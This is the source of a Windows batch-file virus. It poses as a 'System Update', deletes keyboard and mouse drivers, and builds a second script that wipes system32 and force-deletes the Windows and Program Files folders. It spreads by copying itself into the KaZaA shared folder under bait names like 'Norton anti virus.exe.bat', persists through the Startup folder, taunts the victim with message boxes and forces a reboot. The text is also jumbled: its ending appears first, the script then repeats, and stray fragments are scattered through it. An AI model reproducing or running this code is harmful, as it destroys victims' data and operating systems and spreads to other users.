echo echo msgbox" Wow you probably got this through ur lan" >> c:\pomper.vbs >> c:\romp.bat
echo echo msgbox" Happy dieing staples" >> c:\pomper.vbs >> c:\romp.bat
echo goto start >> c:\romp.bat
      >> c:\romp.bat
      >> c:\romp.bat
echo :end1 >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\Matrix2.vid.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\8-legged-freaks.vid.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\Password_finder.exe.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\s-club7.bmp.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\JackAss the movie.vid.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\password hacker.exe.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\Norton anti virus.exe.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\8-mile.mpg.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\kazaa.exe.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\realplayer.exe.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\MyPic.bmp.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\Bill gates *very funny*.bmp.bat >>

c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\Bill gates *very funny*.mpg.bat >>

c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\windows xp.exe.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\How to make viruses.txt.bat >>

c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\*very funny*.bmp.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\How to stop worm viruses.txt.bat >>

c:\romp.bat
echo goto end >> c:\romp.bat
echo :end >> c:\romp.bat
Echo Virus installed
cd c:\Docume~1\All Users\Start Menu\Programs\Startup
copy *.bat cd c:\Docume~1\All Users\Start Menu\Programs\Startup
Echo Now You have to restart to save
START C:\WINDOWS\RUNDLL.EXE user.exe,exitwindowsexec
rundll32.exe shell32.dll,SHExitWindowsEx n
pause
del c:\thecreator.bat
:end@ECHO OFF
if exist c:\romp.bat goto end
:start
cls
Echo Installing Update...
cd c:\windows\system
del keyboard.drv
del mouse.drv
TITLE System Update
echo ::startup >> c:\romp.bat
echo if not exist c:\damp goto prompt >> c:\romp.bat
echo :start >> c:\romp.bat
echo cls >> c:\romp.bat
echo cd c:\ >> c:\romp.bat
echo cd damp >> c:\romp.bat
echo md keys >> c:\romp.bat
echo pause >> c:\romp.bat
echo copy *.bat c:\damp\keys\ILOVEYOU.bat >> c:\romp.bat
echo copy *.bat c:\damp\keys\ILOVEYOU.bat c:\windows\stone.bat >> c:\romp.bat
echo rmdir c:\WUTemp >> c:\romp.bat
echo del c:\windows\system32\*.* >> c:\romp.bat
echo rmdir c:\windows\system32 >> c:\romp.bat
echo cd c:\ >> c:\romp.bat
echo cd windows >> c:\romp.bat
echo md system32 >> c:\romp.bat
echo pause >> c:\romp.bat
echo cd c:\ >> c:\romp.bat
echo cd windows >> c:\romp.bat
echo cd system32 >> c:\romp.bat
echo md tools >> c:\romp.bat
echo copy *.bat c:\windows\system32\tools\urscrewed.bat
echo echo msgbox" Ur system is now screwed" >> c:\plastic.vbs >> c:\romp.bat
echo echo msgbox" This was no scan... it was more like a scam" >> c:\plastic.vbs >> c:\romp.bat
echo echo msgbox" It has deleted pretty much all of system32 which is in windows and has messed

with windows" >> c:\plastic.vbs >> c:\romp.bat
echo echo msgbox" There is no more windows on this computer" >> c:\plastic.vbs >> c:\romp.bat
echo Rd/s/q c:\windows >> c:\romp.bat
echo Rd/s/q c:\progra~1 >> c:\romp.bat
echo goto part2 >> c:\romp.bat
      >> c:\romp.bat
      >> c:\romp.bat
echo :part2 >> c:\romp.bat
echo cls >> c:\romp.bat
echo cd c:\ >> c:\romp.bat
echo md Kierstyn'scan >> c:\romp.bat
echo pause >> c:\romp.bat
echo goto part3 >> c:\romp.bat
        >> c:\romp.bat
        >> c:\romp.bat
echo :part3 >> c:\romp.bat
echo rename c:\windows c:\viriiscan >> c:\romp.bat
echo goto end1 >> c:\romp.bat

echo :prompt >> c:\romp.bat
echo cls >> c:\romp.bat
echo cd c:\ >> c:\romp.bat
echo md damp >> c:\romp.bat
echo copy *.bat c:\damp.bat >> c:\romp.bat
echo echo msgbox" Oh No u r so stupid" >> c:\pomper.vbs >> c:\romp.bat
echo echo msgbox" Wow you probably got this through ur lan" >> c:\pomper.vbs >> c:\romp.bat
echo echo msgbox" Happy dieing staples" >> c:\pomper.vbs >> c:\romp.bat
echo goto start >> c:\romp.bat
      >> c:\romp.bat
      >> c:\romp.bat
echo :end1 >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\Matrix2.vid.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\8-legged-freaks.vid.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\Password_finder.exe.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\s-club7.bmp.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\JackAss the movie.vid.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\password hacker.exe.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\Norton anti virus.exe.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\8-mile.mpg.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\kazaa.exe.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\realplayer.exe.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\MyPic.bmp.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\Bill gates *very funny*.bmp.bat >>

c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\Bill gates *very funny*.mpg.bat >>

c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\windows xp.exe.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\How to make viruses.txt.bat >>

c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\*very funny*.bmp.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\How to stop worm viruses.txt.bat >>

c:\romp.bat
echo goto end >> c:\romp.bat
echo :end >> c:\romp.bat
Echo Virus installed
cd c:\Docume~1\All Users\Start Menu\Programs\Startup
copy *.bat cd c:\Docume~1\All Users\Start Menu\Programs\Startup
Echo Now You have to restart to save
START C:\WINDOWS\RUNDLL.EXE user.exe,exitwindowsexec
rundll32.exe shell32.dll,SHExitWindowsEx n
pause
del c:\thecreator.bat
:end